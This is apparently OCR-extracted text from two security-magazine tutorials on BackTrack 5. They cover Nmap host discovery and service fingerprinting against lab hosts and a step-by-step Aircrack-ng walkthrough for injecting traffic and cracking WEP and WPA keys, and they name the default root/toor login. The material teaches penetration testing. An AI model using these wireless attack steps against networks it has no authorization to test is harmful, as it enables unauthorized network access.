Many of the tools in BT5 can be found in the Applications menu, under the BackTrack folder. The tools are organized in folders and subfolders based on their purpose and abilities. Since some tools server more than one purpose, some tools are in several folders; launching the same tools from a different folder does not change the usage of the tool. Most tools can also be found in the /pentest/ directory, also organized by use (Figure 1).

Host Discovery and Information Gathering – Internal Network

An internal test is generally performed on-site, directly connected to the network that is being tested. The tester assumes the role of a user with some access to the network. The first step of any test is information gathering and target mapping.

Arguably, the best tools in BT5 for information gathering and mapping a network is *Nmap*. *Nmap* is a command-line tool that sends specially crafted packets to a host or range of hosts and analyzes the response. *Nmap* is excellent for host discovery, services discovery through port scanning, OS identification and much more.

The first step in this process is to find all the live hosts on the internal network, also known as discovery. First you need to determine the network you are on, which is as simple as looking at your own IP address. Open a terminal and type *ifconfig*. Note your inet addr as well as the Mask (Figure 2).

In this case, we are on the 192.168.2.0/24 network. We can use Nmap to discover live hosts on this subnet and save our results to a file (Figure 3).

File Edi	t View	Bookmarks	Settings	Help	
root@bt:~ eth0	/PenTest Link en inet ad inet6 a UP BROA RX pack TX pack collisi RX byte	# ifconfig cap:Etherne: dr:192.168.3 ddr: fe80:33 DCAST RUNNII ets:412392 (ets:543168 (ons:0 txquet s:199270832	t HWaddr 2.105 Bca a00:27ff: VG MULTIC/ errors:0 d errors:0 d uelen:1000 (199.2 ME	08:00:27:3c:5c:a ast:192.168.2.255 fe3c:5cae/64 Scop AST MTU:1500 Me dropped:0 overrun dropped:0 overrun 3 3) TX bytes:5148	e Mask:255.255.255.0 e:Link tric:1 s:0 frame:0 s:0 carrier:0 7871 (51.4 MB)

Figure 2. Determining the Network I



Explanation:

- -sn: ping scan, disables port scan for fast discovery
- -n: don't resolve DNS name of host, for faster scan
- -v: set verbosity level of error reporting
- -oA: output results (nmap, gnmap, xm1) to nmap/ 192.168.2.0 ping file
- 192.168.2.0/24: scan this entire class C range

The reason to use the $-\circ A$ option is to output the results in multiple format types to be used in other tools. The gnamp file is designed to be parsed with the shell command grep. Use grep on the gnmap file we just generated to display all hosts that Nmap determined are up. You can also pipe this command to word count (wc) to get a count of the up hosts (Figure 4 and Figure 5).

	2						
File	Edit	View	Bookm	narks S	Settings	Help	
root@	bt:~/	PenTest	# grep	"Up" n	map/192	.168.2.	O_ping.gnmap
Host:	192.	168.2.2	()	Status	Up		
Host:	192.	168.2.3	()	Status	: Up		
Host:	192.	168.2.4	()	Status	: Up		
Host:	192.	168.2.5	()	Status	: Up		
Unat.	100	160 2 6	11	Ctatur	. Her		

Figure 4. Determining the Network III

1 1 1	2									
File	Edit	View	Bookm	arks	Settings	Help				
root@ 39 root@	bt : ~/F bt : ~/F	PenTesta PenTesta	≠grep ≠∎	"Up "	nmap/192.	168.2.0 <u></u>	_ping.gnmap	1	WC	-1

Figure 5. Determining the Network IV

Explanation:

- grep "Up": search the grepable Nmap file for "Up" and print the line
- wc -1: count the lines

These results display the 39 hosts that responded to the ping scan on the 192.168.2.0/24 network. You now have a list of targets you can perform additional information gathering on, without wasting time scanning for hosts that don't exist. You can then use shell commands to create a list of targets that can be input into Nmap for additional scans (Figure 6).

Explanation:

- grep "Up": print the lines of up hosts in the file
- cut -f2 -d.: cut field 2 with the delimiter of space (note the trailing space)

	Terriese, bash
File Edit View Bookmarks Settings Help	
<pre>rootgbt:~/PenTest# grep "Up" nmap/192.168.2.0_ping. rootgbt:~/PenTest# cat targets/192.168.2.0_all.txt</pre>	gnmap cut -f2 -d\ > targets/192.168.2.0_all.txt
192.168.2.2 192.168.2.3 192.68.2.4	
192.168.2.5 192.168.2.6	
192.168.2.8 192.168.2.9	

Figure 6. Determining the Network V

- >: redirect the output to targets/192.168.2.0_all.txt file
- cat: confirm the targets file looks correct

These steps are basic and outline host discovery on a single subnet, however in many cases there will be several subnets that you might have to discover. Discovery of these subnets isn't always easy, using this method in Nmap can be helpful (Figure 7).

File	Edit	View	Bookmarks	Settings	Help
root@	bt : ~/1	PenTest	# nmap -sn	-PE -n -v	-oA nmap/subnet_search 192.168.*.1-10,245-254
Start	ing Nr	nap 6.0	00 (http://	nmap.org) at 2012-05-23 19:09 EDT
1n111	ating	Ping S	ican at 19:0	9	
F:				the Net	hu and M

Figure 7. Determining the Network VI

Explanation (new options only):

- -PE: use ICMP only, helpful for getting accurate up count traversing subnets
- 192.168.*.1-10,245-254: Scan the first and last 10 IP addresses of all 255 subnets in the 192.168.x address space.

This command will ping the first and last 10 addresses on every possible subnet in the 192.168 address space. This is a fast way to discover subnets without having to try every single potential address within the given range, since in many cases there will be a device that responds within that range. Keep in mind that this method may not discover every subnet, if there isn't a system to respond within the addresses being tested. Using shell commands, you can create a subnets targets file to perform host discovery on the newly discovered subnets (Figure 8).

Explanation:

- grep "Up"...| cut -f2 -d\: print all up IP addresses from the file
- cut -f1-3 -d\.: print the first 3 octet of the ip addresses (the subnet)
- uniq: remove all duplicates, leaving you with a single address from each subnet



Figure 8. Determining the Network VII

- sed `s/\$/\.0\/24/': add a .0/24 to the end of each line, to be Nmap readable
- >: redirect to targets/subnets.txt file

Now, use Nmap just as in the first step, but rather than give it an address range directly on the command line, use the -iL option to input from the subnets target file created in the previous step. Nmap will now scan every address on all three discovered subnets. Just as before, use shell commands to create a targets list of the hosts that were discovered as up (Figure 9 and Figure 10).

File Edit		Bookmarks	Settings	Help				
root@bt : ~/	'PenTest#	nmap -sn	-PE -n -v	-oA nmap/	all_subnet	s_ping -i	L targets	s/subnets.txt
Starting N Initiating Scanning 1	Map 6.00 ARP Pin 05 hosts	(http:// g Scan at [1 port/h	/nmap.org 19:41 host]) at 2012-	(105-23 19:4	I EDT		
Figure	9. Det	erminir	ng the N	letwork	VIII			
								PenTest
File Edit	View I	Bookmarks	Settings	Help				
root@bt:~/	PenTest# PenTest#	grep "Up"	nmap/all_	_subnets_pi	ng.gnmap	cut -f2	-d∖ > tar	gets/allup.tx1

Figure 10. Determining the Network IX

You may want to separate your targets list by subnet, in instances for example where different subnets are used for different physical sites, separated by a slower link. This can easily be accomplished with shell commands and the *allup.txt* targets file. Performing a *word count* (wc) on the directory will also display the amount of hosts in each file. Notice the number of hosts in each individual subnets files adds up to the number of of hosts in the allup.txt targets file (Figure 11).

File	Edit	View	Bookma	rks Set	ings	Help					
root@ root@ 1 39 6 46 3 95	bt:~/Pe bt:~/Pe targets targets targets targets targets targets	enTesta enTesta s/192. s/192. s/192. s/192. s/allup s/subn	# grep " # grep " # wc -l 168.200. 168.2.0_ 168.3.0_ 0.txt ets.txt	\.3\." \.200\. targets, 0_all.t; all.txt all.txt	arget: 'targe /* :t	s/allup.t ets/allup	xt > 1	targets/: > target:	192.168. 5/192.16	3.0_all. 3.200.0_:	txt all.txt
roota	bt:~/Pe	enTest	ŧ I .	•	• •		,				

Figure 11. Determining the Network X

Explanation:

- grep "\.3\."...: print all lines with .3., redirect to file
- grep "\.200\."...: print all line with .200., redirect to file
- wc -1: print the line count for every file in targets directory

Now that you've gathered all the live targets from each discovered subnet, you should obtain as much

information as possible about them. Nmap is also useful for this as it's capable of probing for open ports, and gathering information of the services discovered on these ports. For the remainder of this section, 2 designated hosts in the $targets/my_targets.txt$ file will be used (Figure 12).



Figure 12. Determining the Network XI

Explanation:

- -sv: probe ports for service/version information
- -o: enable operating system detection

Once the scan is complete, the files can be examined and you can see a wealth of information for the 2 hosts that were scanned (Figure 13).

Now that you have a grasp on the process of host discovery, OS identification and service mapping, the GUI tool for *Nmap*, *Zenmap*, can be used to speed up and streamline this process. Zenmap can be launched from a terminal by typing zenmap, or from the Applications menu wherever Nmap is found. Zenmap provides a nice front end for Nmap with the ability to save profiles for repeated scans and other interesting features (Figure 14).

Now you have discovered open ports, the services on those ports, and the versions of the software running, you can perform a vulnerability assessment to find any potentially exploitable services, which will be covered in the next section. These steps above describe some very basic steps of discovery and mapping for an internal assessment. There are many additional tools included

. 🖾 💿	PenTest : bash
File Edit View Bo	okmarks Settings Help
root@bt:~/PenTest# c	at nmap/my targets service scan.nmap
# Nmap 6.00 scan ini	tiated Wed May 23 20:06:53 2012 as: nmap -sV -O -v -oA nmap/my targets service
Nmap scan report for	xpmetasploitable (192.168.2.202)
Host is up (0.0012s	latency).
Not shown: 991 close	d ports
PORT STATE SERVI	CE VERSION
21/tcp open ftp	Microsoft ftpd
25/tcp open smtp	Microsoft ESMTP 6.0.2600.2180
80/tcp open http	Microsoft IIS httpd 5.1
135/tcp open msrpc	Microsoft Windows RPC
139/tcp open netbi	.os-ssn
443/tcp open https	2
445/tcp open micro	soft-ds Microsoft Windows XP microsoft-ds
1025/tcp open msrpc	Microsoft Windows RPC
1433/tcp open ms-sq	I-s Microsoft SQL Server 2005 9.00.1399; RTM
MAC Address: 08:00:2	:/:Eb:EA:20 (Cadmus Computer Systems)
Device type: general	purpose
Running: Microsoft W	Indows XP 2003
OS CPE: cpe:/o:micro	soft:windows_xp::sp2:professional_cpe:/o:microsoft:windows_server_2003
OS details: Microsof	t Windows XP Professional SP2 or Windows Server 2003
Network Distance: I	nop
TCP Sequence Predict	ion: Difficulty=263 (Good Luck!)
Service Info. OC. Wi	alion: Incremental
Service into: US: Wi	ndows; CPE: cpe:/o:microsoft:windows
Nmap scan report for	metasploitable (192,168,2,103)
Host is up (0.00064s	latency).
Not shown: 988 close	d ports
PORT STATE SERVI	CE VERSION
21/tcp open ftp	ProFTPD 1.3.1
22/tcp open ssh	OpenSSH 4.7pl Debian Bubuntul (protocol 2.0)
23/tcp open telne	t Linux telnetd
25/tcp open smtp	Postfix smtpd
53/tcp open domai	n ISC BIND 9.4.2
80/tcp open http	Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch)
139/tcp open netbi	.os-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp open netbi	os-ssn Samba smbd 3.X (workgroup: WORKGROUP)
3306/tcp open mysql	MySQL 5.0.51a-3ubuntu5
5432/tcp open postg	resql PostgreSQL DB 8.3.0 - 8.3.7
8009/tcp open ajp13	Apache Jserv (Protocol v1.3)
8180/tcp open http	Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:2	17:BF:24:D2 (Cadmus Computer Systems)
Device type: general	. purpose
Running: Linux 2.6.X	
OS CPE: cpe:/o:linux	:kernel:2.6
OS details: Linux 2.	6.9 - 2.6.31
Uptime guess: 0.002	days (since Wed May 23 20:03:44 2012)
Network Distance: 1	hop
ICP Sequence Predict	ion: Difficulty=203 (Good luck!)
IP ID Sequence Gener	ation: All Zeros
Service into: Host:	metaspioriabie.localdomain; USS: Unix, Linux; UPE: Cpe:/0:linux:kernel

Figure 13. Determining the Network XII

8				Zenm	∍p			
Scan Tools Profile	Hel							
Target: 192.168.2.1	03.20	2 -						- Scan Cancel
Command: nmap -1	14 -A	-v 192.168.2.103.202						
Horte Services		Name Office Barts			den biere	out to be		
HUSES SELVICE		Nmap Output Ports		ara iop	ology Host	Details S	Cans	
OS Host		Host			Protocol			
🎎 metasploitabl		 metaspioitable.sr 	-					
🛫 xpmetasploite	able		2			open		ProFIPD 1.3.1
			2					OpenSSH 4.7p1 Debia
			2			open	teinet	Linux teinetd
			•					Postfix smtpd
			•					ISC BIND 9.4.2
			•					
			•					
			•					
			۰					MySQL 5.0.51a-3ubunt
			۰					
			۰					
			•					
		✓ xpmetasploitable						
			•			open		Microsoft ftpd
			•			open		
			•			open		Microsoft IIS httpd 5.1
			•			open		Microsoft Windows RPC
			•				netbios-ssn	
							microsoft-ds	Microsoft Windows XP r
			-					Microsoft Windows BDC
						open		
4 1								

Figure 14. Zenmap Utilities

in BT5 that are used to map additional specific services and they should be examined further for a more in-depth discovery and mapping of a network. Examples of some specific internal services that are valuable sources of information include DNS, database services such as MSSQL and MySQL, SNMP, VOIP and mail services. BT5 includes a myriad of tools organized by service type in the main BackTrack folder in the Applications menu, or in /pentest/ in the terminal.

Wireless Security Assessment

BackTrack 5 contains all the tools necessary for a wireless security assessment and penetration test. This section will cover the basic usages of a set of tools for assessing the security of a wireless network.

Aircrack-ng is a command-line tool, but also refers to a suite of tools used to for a wireless security assessment. The tools that will be covered to perform an assessment include airmon-ng, airodump-ng, aireplay-ng, and aircrackng. There are more tools within the Aircrack-ng toolkit that should be examined, however these will allow you to perform a basic assessment.

The first step is to use airmon-ng to manage your wireless adapter. By running the command with no

E			
File Edit	View Bookmarks	s Settings	Help
root@bt:~/Pe	nTest# airmon-n	g	
Interface	Chipset	Driver	r
wlan0	Ralink RT28	370/3070	rt2800usb - [phy3]
root@bt:~/Pe	nTest#		

Figure 15. Determining the Network XIII

options, you can see the wireless adapters available in BT5 (Figure 15).

In order to capture packets, you need to use airmonng to put your wireless adapter into monitor mode. You can also specify a channel to listen on if you know the channel the AP you are testing is on, otherwise it will roam on all channels (Figure 16).

File E	Edit	View	Bookr	narks	Settings	Help	
root@bt	:~/P	enTest	# airm	ion-ng	start wla	an0	
Found 2 If airc a short	2 pro odump t per:	cesses -ng, a iod of	that irepla time,	could wy-ng o you m	cause tro or airtun ay want '	ouble. ng stops worl to kill (some	king after of) them!
PID 1052 6367 Process	Nam dhc dhc wit	e lient3 lient3 h PID	6367 ((dhclie	nt3) is	running on in	terface wlan0
Interfa	ace	c	hipset	20	Drive	18	
wlan0		F	alink	RT2870)/3070 (moni [.]	rt2800usb tor mode enab	- [phy3] led on mon0)
root@bt	:~/P	enTest	# airm	ion-ng			
Interfa	ace	c	hipset		Drive	2	
mon0 wlan0		F F	alink alink	RT2870 RT2870)/3070)/3070	rt2800usb rt2800usb	- [phy3] - [phy3]



Next, run airodump-ng with no options to start looking for wireless networks within range. With this tool, you can see the security in use on each *Wireless Access Point* (AP) in range in the top half, as well as all the wireless clients and which AP they are associated with in the bottom half. Once you determine which AP you are testing, press 'space' to lock the results and copy the BSSID (MAC) of the AP. Also note the channel that it's on and security information such as encryption and authentication type, and stop the capture (Figure 17).

Now start airodump-ng again, but this time with options that specify the AP and channel, as well as to specify the output file you wish the save the capture to (Figure 18). Explanation:

- -w wifi/APlcap: output the capture to the specified file
- --bssid: MAC of the AP you want to test

								PenTest : air
File Edit View B	ookmarks Settings	Help						
CH 9][Elapsed:	32 s][2012-05-23	21:0	3					
BSSID	PWR Beacons #I	Data,	#/s CH	H ME	B ENC	CIPHER	AUTH	ESSID
00:22:75:4B:A5:C3	-49 9	0	0 6	5	4e WEP	WEP		belliomani?h
00:18:4D:86:FE:DE 00:18:39:F9:4A:5A	-54 12 -70 11	0	0 6	5	4 WEP	WEP		Laters
68:7F:74:A3:EB:ED 68:7F:74:A3:EB:EE	-74 17 -75 16	6 0	0 1	54	4e WPA 4e OPN	2 CCMP	PSK	Groundart Groundart ganet
BSSID	STATION	PWR	Rate	I	Lost	Frames	Prob	e
(not associated)	88:53:2E:0C:CD:C1	- 60	0-	1	0	2		
00:18:40:86:FE:DE	00:0E:35:E5:80:30	- 66	36 -	1	0	6		

Figure 17. Determining the Network XV

- --channel 6: locks the channel to 6 (optional)
- mon0: interface setup with airmon-ng

	Bookmarks Settings	Help				
root@bt:~/PenTest#	airodump-ng -w wifi	/APlca	apbssi	d 00:22	:75:4B:A5:C3	channel 6 mon0
CH 6][Elapsed:	8 mins][2012-05-2	3 21:1	6			
BSSID	PWR RXQ Beacons	#Dat	a, #/s (H MB	ENC CIPHER	AUTH ESSID
00:22:75:4B:A5:C3	-50 100 4823	170	50	6 54e	WEP WEP	OPN
BSSID	STATION	PWR	Rate	Lost	Frames Pro	be
00:22:75:4B:A5:C3	00:1A:92:9F:F5:7E	- 46	54e-54	0	126	
00:22:75:4B:A5:C3	88:53:2E:0C:CD:C1	-127	1e-54e	0	555	
00:22:75:4B:A5:C3	88:53:2E:0C:CD:C1	-127	1e-54e	0	555	
00:22:75:4B:A5:C3	00:22:58:55:C1:CC	-127	0e- 0e	0	8	

Figure 18. XV/

Now you are capturing data specified for that AP on that channel, and saving it to the specified file file. If the encryption type is WEP, then you need to capture a certain amount of *Initialization Vectors* (IVs), which can be seen as Beacons in the airodump-ng output, in order to obtain the WEP key. If the encryption type is WPA, then you need to capture a handshake which occurs anytime a client associates with the AP. If you're lucky, enough IVs will be generated or a client will associate with the AP within a few minutes, but that is often not the case.

For generating traffic to get enough IVs to crack the WEP key, or to perform a dissociation attack against a client already associated with the AP in order to capture a handshake when they automatically re-associate, use <code>aireplay-ng</code>. Keep in mind that your wireless adapter must support injection; see the list of compatible adapters at *http://www.aircrack-ng.org/doku.php?id=compatible_cards*.

Since the AP in this example is WEP, IVs need to be generated while the capture is taking place. This can be done using a combination of 2 attacks in aireplayng. The first is a fake authentication attack, which authenticates you with the AP which will allow you to inject ARP packets to create network activity. You need the BSSID address as well as the MAC address of the wireless adapter you are injecting with (Figure 19).

Explanation:

- -1: selects fake authentication attack
- o: reassociation timing in seconds
- -e: wireless network name (SSID)
- -a: MAC of the AP (BSSID)
- -h: MAC of the wlan adapter you are using
- mon0: interface name you are using
- -3: selects arp request replay attack

1		2	PenTest : aireplay-ng	
Saving AH You shoul Bead 1645	P requests in replay_arp-0523-2 d also start airodump-ng to cap 6 packets (got 4965 ARP request	13036.cap ture replies. s and 3825 ACKs)), sent 7333 packets(499 pp	os)
root@bt :~ 21:30:36	<pre>/PenTest# aireplay-ng -3 -b 00: Waiting for beacon frame (BSSI Description of the second frame (BSSI)</pre>	22:75:4B:A5:C3 - D: 00:22:75:4B:A	h 00:c0:ca:32:9d:74 mon0 45:C3) on channel 6	
21:29:44	Association successful :-) (AI	D: 1)		
21:29:44	Sending Association Request [A	CK]		
21:29:44	Authentication successful			
21:29:44	Sending Authentication Request	(Open System) [ACK]	
21:29:44	Waiting for beacon frame (BSSI	D: 00:22:75:4B:#	45:C3) on channel 6	
root@bt:~	/Penfest# alreptay-ng -1 0 -e	-a c	00:22:75:48:A5:C3 -N 00:C0:Ca:	32:90:74 mon0

Figure 19. XVII

- -b: MAC of the AP (BSSID)
- -h: MAC of the wlan adapter you are using
- mon0: interface name you are using

Finally, you can use aircrack-ng and the wireless packet capture you just generated to crack the WEP or WPA key. A handy tip with the WEP crack is that you can use aircrack-ng on the capture file while the capture is happening. So you can start the cracking process with aircrack-ng while injecting until you've captured enough packets where the crack is successful and then you can stop the capture (Figure 20).

-												
				s Settings	: Help							
pening	:-/Pe y wifi	nTes /AP1	t# aircrac cap-01.cap	k-ng -b 00	:22:75:48:	AS:C3 vifi	/AP1cap-01	.cap				
Startin	ig PTW	att	ack with 1	0461 1vs.	captured 1	vs.						
									Airc	rack-ng 1.	1 r2076	
								[00:02:48]	Tested 80	3 keys (go	t 52326 IV	is)
KB	dep	th	byte (vote)	10/011041	00/600001	15/606701	AE (601 601	FE / 601 601	25/500041	Ec/Eccator	
1	0/	1	5E(78080)	42(61440) 58(63488)	E3(62976)	65(61952)	A3(61952)	2E(60928)	90(60928)	25(60672)	33(60416)	81
2	0/	2	14(72448)	1C(61952)	CF(61952)	F4(61696)	C1 (60672)	44(60416)	D3(60416)	74(60160)	BB(59904)	32
3	11/	3	B5(59392) DA(73984)	09(59136) 4E(64000)	69(58624) B8(62720)	BD(58624) OE(61952)	E1 (58624) 27 (61952)	E2(58624) 95(60672)	D9(58368) A2(59904)	85(58112) 0A(59648)	16(57856) B7(59648)	64 76
	Decr	KEY	FOUND! [CA y: 100%	1.00.00.14	12.05.88	C:BC 1					



Explanation:

- -b: MAC of the AP (BSSID)
- wifi/AP1cap-01.cap: capture file with IVs

WEP keys tend to be cracked pretty quickly, once a certain amount of IVs are obtained. For WPA, once you capture a handshake, you perform a dictionary attack against the handshake and hope the key is in the dictionary. BT5 comes with a small word list, but additional word lists can be used as well. Here is an example of WPA cracking with a pre-captured handshake: Figure 21.

Explanation:

- -w: location of dictionary
- -b: MAC of AP (BSSID)

This shows that WPA2 is only as strong as the key; as long as the key is not in the dictionary, it will not

																							Test : I	
File	Edit			okma			ettir			elp														
<mark>root@</mark> Openi Readi	bt:~/P ng /ro ng pac	<mark>enTes</mark> ot/e/w kets,	# ai /pa2_ plea	hand hand	ack- dsha vait	ng ke.	-w cap	~/e	/cu	sto	m_d	ict	.tx	t -	b 9	C:	6.3		: A	1 ~/6	e/wpa2	2_har	Idshal	e.cap
					K	EY	FOU	ND!	[:	L	-	ta]											
	Master	r Key		: 64 5F	D3 A5	2A C7	04 79	8A EE	66 17	86 1E	74 9F	46 4E	8B E9	0A B4	3A 5B	36 90	EE D1	93 86	6C 48					
	Trans	ient K	ey	: 86 D7 70 14	A3 A6 D2 3E	F7 46 D0 A5	A3 86 A4 54	6C 38 54 F4	4E 7B 81 FE	EE 60 25 AF	CD 8E D8 2A	A8 60 2B 22	FB 3B 58 AD	5B 28 57 B4	7D 88 A8 C6	90 DD 16 51	D0 3A 3C F5	A1 42 87 4F	D7 6F EE B3					
oot@	EAPOL bt:~/Po	HMAC enTest	#	: 34	9B	31	5B	D6	B2	BC	75	9F	60	AЗ	80	30	1A	46	5D					

Figure 21. XIX

be cracked. BT5 contains a word list in the /pentest/ passwords/wordlists directory. Custom word lists can be stored here (or anywhere), and some other application have word lists, like John the Ripper, in the /pentest/ passwords/john directory.

These are the steps required to perform a basic penetration test of a wireless network using the Aircrack-ng toolkit. There are other tools, such as *Kismet*, which is also used for discovery and packet captures like airodump-ng, that may be better at finding hidden wireless networks and have additional features. If you are assessing a specific wireless network and are having trouble with one tool, it's best to try the other. If you find the wireless network you are attempting to penetrate is protected with an authentication server, then you will require more than these tools can offer to succeed.

Conclusion

The small amount of tools covered in part 1 of this article displays how powerful and useful BackTrack 5 can be just by knowing how to use these tools. Part 2 will cover some even more powerful tools and the effective ways to use them to find and exploit vulnerabilities to test the effectiveness of the security in place. What you should take away from this article is that there are many effective tools already available, and the majority of these tools are included in BackTrack 5. These tools and their use should be examined further to determine how effective they can be for security assessments and penetrations tests.

STEVE MYERS



Steve started as an Information Security Consultant and Penetration Tester with Security Management Partners, based in the Boston area, 1 year ago. He provides consulting services, security assessments, and penetrations tests for many industries including banking and health care. He

holds a BS in Applied Networking and Systems Administration from the Rochester Institute of Technology, class of 2008, and has 6 years of experience in IT consulting, services, and support. Steve recently obtained the CISSP certification from ISC2 and also retains certifications from Microsoft, Cisco, and CompTIA. While fairly newly dedicated to the security field, Steve maintains a deep interest in the practical handson and constantly evolving nature of the industry and people within. You can contact Steve through LinkedIn: http:// www.linkedin.com/profile/view?id=12237775.

ONDemanD Backtrack 5 Practical Applications And Use Cases

This article breaks down what Backtrack Linux is, with a brief description and history. Then, we'll explore a sampling of some of the many tools that are packaged within Backtrack Linux and provide use cases along with step-by-step tutorials to demonstrate some of the more common tasks that Backtrack is used to perform. Finally, we'll see how most of the tools and techniques that Backtrack is designed to facilitate can be used by the many different roles in the IT security field.

his article is by no means an all-inclusive tutorial on every tool within Backtrack, or every conceivable use one can find for Backtrack. I am not an expert per se, just an avid fan and user. I have experience on both sides of the Infosec spectrum.

I have been a security analyst\incident responder tasked with defending organizations' networks and info systems, and I have been a penetration tester tasked with trying to break into similar systems and networks. In either role (offensive or defensive) I have found Backtrack an invaluable tool in my tool box.

I plan to take some of the core functionality and tools in Backtrack 5, describe their use cases, and demo common tasks that security professionals use them for on a daily basis.

History

Backtrack Linux is a custom Linux distribution designed to aid security professionals with attack simulation, vulnerability identification and verification, and general penetration testing activities. Backtrack was the end result of a combination of two separate (competing) security distributions. WHAX (formerly Whoppix) a security distributions. WHAX (formerly Whoppix) a security distro developed by Mati Ahoroni and Auditors Security Collection, developed by Max Moser were combined to create Backtrack.

Backtrack version 4 and up are based on Ubuntu. The most recent release, as of this writing, is Backtrack 5 R2 which runs a customized 3.2.6 Linux Kernel. This release touts many new tools and improvements, some of those being better support for wireless attacks, the Metasploit Community Edition (4.2.0) and version 3.0 of the Social Engineering Toolkit. You can see more of the tools and release info here: *http://www.backtrack-linux.org/backtrack/backtrack-5-r2-released/.*

You can download the latest (along with earlier releases) Backtrack release in ISO or VMware image formats from *http://www.backtrack-linux.org*.

It is true that most of the tools that come bundled within Backtrack can be downloaded separately and do not require Backtrack to run. What makes Backtrack an ideal tool is that its entire environment is setup with security testing in mind. From the tools, scripts, dependencies, libraries and system configurations, every aspect of the end user experience in Backtrack has been set up to enable the user to perform security testing quickly, with limited to no configurations having to be made, since Backtrack is set up in a "turn key" fashion.

I won't say that Backtrack is the only OS I run during penetration tests. I usually have several systems going. But, I always have at least a Backtrack VM running because if I need a tool, and I don't have Internet access to download it or I don't have the time to configure it on a machine, more often than not it's sitting on my Backtrack VM, ready to go with no configuration required. Similarly, when in a security analyst (defensive) role, having quick access to the pre-configured Backtrack environment reaps similar benefits when on a pen test and when needing to perform quick network analysis, or verify a vulnerability.

Mediums

Backtrack 5 R2 can be installed or run in several different ways. It is designed to be portable and as such can easily be installed onto USB Hard Drives or "Pen Drives" as they're sometimes called. Also, you can burn

the downloaded ISO to create a live boot DVD and boot it from a disc. You can also choose to install it onto your computer, or run it as a virtual machine by using the VMware image.

What follows is a brief tutorial on installing Backtrack 5 R2 (BT5R2) on a thumb drive. Take note that without modification this generic USB install does not support "persistence" or the ability to maintain changes to the OS after rebooting. There are tutorials on the Internet to install BT5R2 with persistence on USB drives.

USB Install

You'll need to download and install UNetbootin from *http://sourceforge.unetbootin.net* (or use "apt-get install unetbootin" on Ubuntu). Note that UNetbootin is already installed in BT5R2.

You'll also need to have downloaded the ISO image from the Backtrack website.

- Format the USB stick. I chose FAT32.
- Run UNetbootin, select the *Disk Image* option, then browse to the BT5R2 ISO you downloaded earlier
- Select the USB drive letter of the USB stick you'd like to install BT5R2 on
- Then click OK. Figure 1 shows the UNetbootin interface.

Tools w/ Practical Applications

We've already established that the power behind BT5R2 is the array of security tools that are installed. I'll try to break the tools into broad categories and briefly go over some quick tutorials on using them. This will not cover every tool in BT5R2. We'll simply cover what I consider the core tools. I'd like to reiterate that I understand there are a myriad of tools out there that can return similar data. I'm simply outlining the tools that are bundled and already configured within BT5R2.

I'd like to highlight the fact that these tools are not only useful for penetration testers. Consider this: When



Figure 1. UNetbootin ToolsManager

performing vulnerability scans on your company's network, wouldn't you like to be able to verify scan output by testing if some of the reported vulnerabilities are really a threat? With the tools within BT5R2 you can. Or, if you're auditing passwords for a company, wouldn't you like to be able to attempt to crack them with common password attacks to see if they conform to password policies? Again, the tools within BT5R2 allow you to do just that. The point is that the techniques and attacks that BT5R2 supports can be used by both offensive and defensive security professionals.

Not to insult my readers, but let's start form the VERY beginning. Once you boot up BT5R2 (whether it's from a USB\DVD or a VM) you will need to log in. By default the login is 'root' and the password is 'toor' (without quotes). Once logged in you can start the graphical user interface (GUI) with the command 'startx'.

Footprinting and Fingerprinting

Whether you're a white hat or black hat hacker, the first step before you actually attack is footprinting and fingerprinting: actively and passively gathering as much information as possible about a target and finding out how many assets are available (aka figure out your attack surface). Even if you're not a penetration tester, understanding what others can discover about you or your organization can help you mitigate risk before it is discovered by the bad guys. There are several de facto services that should be interrogated to see if they yield interesting information that could be used by you (or an attacker) to assist in further attacks.

Many of these techniques can be performed by automated vulnerability scanners like Tenable's Nessus (which is bundled within BT5R2). I think it's important to understand how to use some different tools and scripts to get this info as well, and it helps to highlight BT5R2's arsenal.

Honorable Mention: I could do an entire write-up on the Open Source Intelligence gathering tool by Peterva called Maltego. There is a Backtrack specific version bundled in BT5R2. I suggest you research that tool on your own.

Discovery

You need to find out what assets are available to attack first. This is usually done with probe and response methods. This is not a deep dive on port scanning methodology. This will simply be a means to see what hosts a target has online using several different tools and network protocols. (Note: for external assessments\ attacks many people choose to use passive methods first, namely public DNS interrogation and some Google web hacking techniques. We'll discuss DNS interrogation next).

A quick way to see if hosts are online is to see if they respond to ICMP echo request (aka ping). The tool that most folks use in a *nix environment for doing any kind of port scanning is nmap by Fyodor. You can perform a quick ping sweep (shown as command 1 in Listing 1) to see if hosts are alive. In the command 1 the -snswitch instructs nmap not to port scan, the result is only ping, and the target is the 192.168.188.0/24 CIDR block range. Nmap will now ping all of the host addresses in the 192.168.188 network and check if they're alive. Some systems may not respond to ICMP, so you can use an alternative nmap command to check if a host is alive. The '-PS' switch, tells nmap to use a TCP SYN Ping. The default is to send an empty SYN packet to port 80 (see command 2, Listing 1). The result should be a TCP RST packet back from the target, which indicates it is online. Note that discovery scans can be thwarted by intermediary devices like firewalls and proxys. Note you can perform UDP scanning, but since UDP is stateless the scanning results can be flakey at best. I usually only scan UDP for specific services (like DNS, TFTP, etc).

Service\OS Information

Once you have determined what hosts and networks are alive, you can begin to fingerprint what services and operating systems are on the hosts. Sometimes the

```
Listing 1. Pentest Via Backtrack
COMMAND 1 root@bt:~# nmap -sn 192.168.188.0/24
Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-
                  05-23 13:04 EDT
Nmap scan report for 192.168.188.1
Host is up (0.00037s latency).
MAC Address: 00:50:56:C0:00:08 (Vmware)
Nmap scan report for 192.168.188.2
Host is up (0.00017s latency).
MAC Address: 00:50:56:EC:DB:56 (Vmware)
Nmap scan report for 192.168.188.129
Host is up.
Nmap scan report for 192.168.188.254
Host is up (0.00026s latency).
MAC Address: 00:50:56:E3:D0:50 (Vmware)
Nmap done: 256 IP addresses (4 hosts up) scanned in
                   3.81 seconds
COMMAND 2 root@bt:~# nmap -sn -PS 192.168.188.0/24
```

two steps (discovery and host\service enumeration are combined, but for educational purposes I broke them up). This is an active approach and may be detected by your target. Again, automated vulnerability scanners can be used to perform this activity, but for our purposes we'll use nmap. Nmap can not only tell if a port is alive, but it can also grab the banner of the listening service to report what nmap thinks it is, along with version information. Example is in Listing 2. The '-sS' switch tells nmap to use a SYN scan, and the '-sV' switch has nmap try to pull version info from services. Nmap by default hits common ports (those between 1-1024 and other common ones like 8080 etc.). You can pass the '-p' option to specify ports, as well.

DNS Interrogation

